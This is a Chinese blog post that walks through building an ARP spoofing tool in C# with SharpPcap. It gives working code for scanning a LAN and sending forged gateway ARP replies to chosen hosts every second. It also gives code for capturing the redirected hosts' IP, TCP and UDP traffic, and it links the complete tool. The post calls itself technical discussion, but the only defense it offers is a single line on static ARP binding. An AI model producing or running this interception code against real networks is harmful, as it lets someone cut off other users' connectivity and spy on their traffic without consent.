C# 通过ARP技术来观察目标主机数据包

由于之前写的C# 实现Arp欺诈的文章属于网络攻击,不能够被展示,所以这边我们稍微说一下C#调用ARP包以及查看其他电脑上网数据包的技术,委婉的说一下ARP在局域网之中的应用。

本文章纯属技术讨论,并且涵盖了如何去防止ARP攻击的手段。

目录

ARP作用

学到一点网络的都知道,ARP本身用于IP地址和MAC地址的转换,主要是在七层网络协议中,网络层之下就是使用MAC地址进行通信了,这样的设计本身也是底层可以无关上层通讯协议的变化而变化,而提供一个统一的接口。

比如局域网中的A主机和B主机,如果A主机的ARP缓存中有B主机的MAC地址,则直接发送数据到对应MAC地址,没有则通过发送ARP广播数据包的方式,根据回应来更新ARP缓存。

ARP欺骗原理

创建一个arp包,将网关ip地址和错误的网关mac地址发送给目标主机,让主机更新错误的mac-ip地址映射到缓存中。

工具

开源的.net arp库: SharpPcap,PacketDotNet

项目中导入:

复制代码
<PackageReference Include="PacketDotNet" Version="1.4.7" />
<PackageReference Include="SharpPcap" Version="6.2.5" />

实战

获取本机所有的网络设备
复制代码
LibPcapLiveDeviceList.Instance
获取对应设备的ip和mac地址,以及网关ip
复制代码
foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6)
    {
        //ipv4地址
        if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork)
        {
            LocalIp = address.Addr.ipAddress;
            break;
        }
    }
}

foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE)
    {
        LocalMac = address.Addr.hardwareAddress; // 本机MAC
    }
}

var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP
//ipv4的gateway
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);
获取网关mac地址

通过发送arp包到网关,获取响应包,从响应包中获取mac地址。

1.创建arp包

复制代码
var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp);
var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP);
ethernetPacket.PayloadPacket = arpPacket;

2.发送arp包到网关,并且等待下一个回复包。

复制代码
LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20);
LibPcapLiveDevice.Filter = arpFilter;
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
ArpPacket arpPacket = null;
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(request);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)//是否是一个arp包
        {
            continue;
        }

        if (arpPacket.SenderProtocolAddress.Equals(destIP))
        {
            break;
        }
    }
}

// free the device
LibPcapLiveDevice.Close();
return arpPacket?.SenderHardwareAddress;
扫描局域网内活动ip和mac地址

1.设置扫描的ip区间,生成每个ip的arp请求包

复制代码
var arpPackets = new Packet[targetIPList.Count];
for (int i = 0; i < arpPackets.Length; ++i)
{
    arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp);
}

2.发送arp包到各个ip,如果回复了则在线,超时则认为不活动

复制代码
if (_cancellationTokenSource.IsCancellationRequested)
{
    break;
}
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (_cancellationTokenSource.IsCancellationRequested)
    {
        break;
    }

    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(arpPackets[i]);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        var arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)
        {
            continue;
        }

        //回复的arp包并且是我们请求的ip地址
        if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i]))
        {
            Application.Current.Dispatcher.Invoke(() =>
            {
                ///增加到IPlist中
                Computers.Add(new Computer()
                {
                    IPAddress = arpPacket.SenderProtocolAddress.ToString(),
                    MacAddress = arpPacket.SenderHardwareAddress?.ToString(),
                });
            });

            break;
        }
    }
}
指定ip/ips攻击

攻击包就不能创建请求包, 应该伪造一个来自网关的响应包,从而将网关错误的mac地址更新到目标主机的缓存中。

1.创建错误的响应包

复制代码
 private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac)
{
    var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp);
    var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP);
    ethernetPacket.PayloadPacket = arpPacket;
    return ethernetPacket;
}

调用创建arp响应包,但是可以看到最后一个mac地址,应该是网关的mac地址,我们替换成了自己本地mac地址。

复制代码
BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);

2.直接以1000ms的间隔轮询发送响应包到目标主机

复制代码
var aTask = Task.Run(async () =>
{
    while (true)
    {
        if (_cancellationTokenSource1.IsCancellationRequested)
        {
            break;
        }
        try
        {
            LibPcapLiveDevice.SendPacket(packet);
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message);
        }

        await Task.Delay(1000);
    }
    LibPcapLiveDevice.Close();
}, _cancellationTokenSource1.Token);

获取网络数据包

此时的被攻击的电脑,由于它的网关对应的MAC地址被我们替换成了自己电脑的MAC,所以原本通过网关发送的数据包,都会发送到我们电脑上来,我们不做任何处理就会导致电脑无法上网,我们可以通过监听网卡查看来自该电脑的数据包,从而窥探一些请求。

复制代码
/// <summary>
/// 监听到攻击的网卡收到的数据包
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void OnPacketArrival(object sender, PacketCapture e)
{
    try
    {
        var device = sender as LibPcapLiveDevice;
        var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray());
        if (packet != null)
        {
            if (packet is EthernetPacket ethernetPacket) //数据包是以太网数据
            {
                var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString());

                if (targetComputer != null)
                {
                    var ipPacket = ethernetPacket.Extract<IPPacket>();
                    if (ipPacket != null)
                    {
                        var packetViewModel = new PacketViewModel();
                        packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString();
                        packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString();

                        var udpPacket = ipPacket.Extract<UdpPacket>();
                        var tcpPacket = ipPacket.Extract<TcpPacket>();
                        packetViewModel.Type = "IP";

                        if (udpPacket != null)
                        {
                            packetViewModel.SourcePort = udpPacket.SourcePort;
                            packetViewModel.TargetPort = udpPacket.DestinationPort;
                            packetViewModel.Type = "UDP";
                        }

                        if (tcpPacket != null)
                        {
                            packetViewModel.SourcePort = tcpPacket.SourcePort;
                            packetViewModel.TargetPort = tcpPacket.DestinationPort;
                            packetViewModel.Type = "TCP";
                        }

                        targetComputer.AddPacket(packetViewModel);
                    }
                    else
                    {
                        ///mac地址没啥好记录的都知道了
                        var packetViewModel = new PacketViewModel();
                        packetViewModel.Type = "以太网";
                        targetComputer.AddPacket(packetViewModel);
                    }
                }
            }
        }
    }
    catch (Exception) 
    {
    }
}

我们解析了IP数据包,TCP以及UDP包。

工具页面

如何预防?

一般只需要本地将网关和MAC地址静态绑定即可。

完整代码和工具

https://github.com/BruceQiu1996/ArpSpoofing

相关推荐
isyoungboy1 小时前
c#实现鼠标mousemove事件抽稀,避免大数据阻塞网络
c#·计算机外设·远程桌面·deskflow
Warren981 小时前
Spring Boot 拦截器返回中文乱码的解决方案(附全局优化思路)
java·网络·spring boot·redis·后端·junit·lua
西红柿维生素1 小时前
Sentinel相关记录
网络·sentinel
Bruce_Liuxiaowei3 小时前
使用批处理脚本安全清理Windows系统垃圾
网络·windows·安全·网络安全
王廷胡_白嫖帝3 小时前
Qt网络速度测试工具开发教程 - 从零开始构建网络测速应用
开发语言·网络·qt
一枚小小程序员哈5 小时前
基于asp.net 的在线餐饮订餐系统的设计与实现/基于c#的网上订餐系统/餐厅管理系统
后端·c#·asp.net
好望角雾眠5 小时前
第三阶段数据库-7:sql中函数,运算符,常用关键字
数据库·笔记·sql·学习·sqlserver·c#
海绵宝宝汉堡包9 小时前
c# 项目 文件夹
开发语言·c#
青草地溪水旁11 小时前
如何理解AP服务发现协议中“如果某项服务需要被配置为可通过多个不同的网络接口进行访问,则应为每个网络接口使用一个独立的客户端服务实例”?
网络·服务发现·客户端实例
门思科技11 小时前
LoRaWAN 的网络拓扑全解析:架构、原理与应用实践
服务器·网络·人工智能·科技·物联网·架构